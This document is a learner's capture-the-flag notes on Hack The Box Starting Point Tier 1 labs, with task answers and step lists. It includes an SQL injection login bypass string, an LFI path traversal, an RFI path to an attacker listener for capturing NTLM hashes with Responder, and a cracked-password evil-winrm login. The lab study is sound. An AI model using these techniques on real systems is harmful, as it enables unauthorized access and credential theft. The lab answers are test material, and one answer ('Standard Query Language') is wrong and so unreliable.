Starting Point Tier 1

Connected my computer using OpenVPN and a provided .opsn file. The challenges following will be using IP addressed spawned when doing the challenge.

For macbook:

- brew install gobuster
- brew install mariadb (instead of using MySQL)
- brew install python (python used for Responder on Github)
- git clone https://github.com/lgandx/Responder.git
- brew install ruby
- gem install evil-winrm
- nano ~/.zshrc (to add evil-winrm to your PATH)

NOTES:

- service Apache httpd 2.4.38 uses Gobuster

FOR SQL BYPASS CHEAT SHEET: https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/

Appointment

Task 1: SQL stands for 'Standard Query Language'
Task 2: One of the most common types of SQL vulnerabilities is 'SQL injection'
Task 3: The 2021 OWASP classification for this vulnerability is '**A03:2021-Injection**'
Task 4: Nmap reports 'Apache httpd 2.4.38 ((Debian))' as the service
Task 5: The standard port for HTTPS protocol is '443'
Task 6: A folder is called a 'directory' in web-application terminology
Task 7: HTTP response code for not found is '404'
Task 8: Use 'dir' to look for directories in Gobuster

ROOT FLAG found using my terminal with the following steps...

- nmap -sV -p 80 10.129.108.229
- on google: <target-ip>
- user: admin' or '1'='1'--
- password: #

Sequel

Task 1: we found port '3306' serving MySQL
Task 2: using telnet <target-ip> <port> I found the version used 'MariaDB'
Task 3: '-u' is used n MySQL to specify a login username

Task 4: ‘root’ allows us to login to MariaDB without providing a password
Task 5: in SQL ‘*’ is used to specify everything/all
Task 6: In SQL, ‘;’ is used to end each query
Task 7: The unique database to this host is ‘htb’

ROOT FLAG found using my terminal with the following steps…

- telnet <target-ip> 3306
- mariadb -h <target-ip> -u root —ssl=0 (older MariaDB clients)
- SHOW DATABASES;
- USE htb;
- SHOW TABLES;
- SELECT * FROM config;
- exit

Crocodile

Task 1: ‘-sC’ uses default scripts during a scan
Task 2: service ‘vsFTPd 3.0.3’ is running on port 21
Task 3: ’230’ is the code for Anonymous FTP login allowed
Task 4: ‘anonymous’ is used to connect to FTP anonymously
Task 5: ‘get’ command is used to download the files we find on FTP server
Task 6: ‘admin’ is one of the higher-privilege usernames from the FTP server
Task 7: ‘Apache httpd 2.4.41’ is the version of HTTP
Task 8: ‘-f’ can be used to specify we are looking for filetypes (nmap -sV <target-ip>)
Task 9: ‘login.php’ is found with dir bruteforcing (gobuster dir -u <target-ip> -w pathto/directory-list-2.3-medium.txt)

ROOT FLAG found using my terminal with the following steps…

- lftp anonymous@<target-ip>
- ls
- get allowed.userlist
- get allowed.userlist.passwd
- cat allowed.userlist
- cat allowed.userlist.passwd
- on google: <target-ip>/login.php
- u: admin p: (found in allowed.userlist.passwd)
- login success, flag on website

Responder

Task 1: redirected to ‘unika.htb’
Task 2: ’php’ language is used to generate webpages
Task 3: ‘page’ is used to load different languages
Task 4: ’../../../../../../../../windows/system32/drivers/etc/hosts’ exploits a LFI vulnerability
Task 5: ‘//10.10.14.6/somefile’ exploits a RFI vulnerability

Task 6: NTLM stands for ‘New Technology LAN Manager’
Task 7: ‘-I’ is used in Responder utility to specify network interface
Task 8: the full name of ‘john’ used is ‘John the Ripper’
Task 9: the admin’s user password is ‘badminton’
Task 10: the tcp port it listens on will be ’5985’

ROOT FLAG found using my terminal with the following steps...

- sudo nano /etc/hosts ⇒ append <target-ip> unika.htb ⇒ CTRL-O(save), enter, ctrl-x
- cd Responder
- pip3 install -r requirements.txt
- sudo python3 Responder.py -I <network-interface— usually en0 for wifi>
- evil-winrm -i <target-ip> -u administrator -p badminton
- cd ../../
- cd mike
- dir
- cd Desktop
- dir
- type flag.txt

Three

Task 1:
Task 2:
Task 3:
Task 4:
Task 5:
Task 6:
Task 7:

Ignition (VIP)
Bike (VIP)
Funnel (VIP)
Pennyworth (VIP)
Tactics (VIP)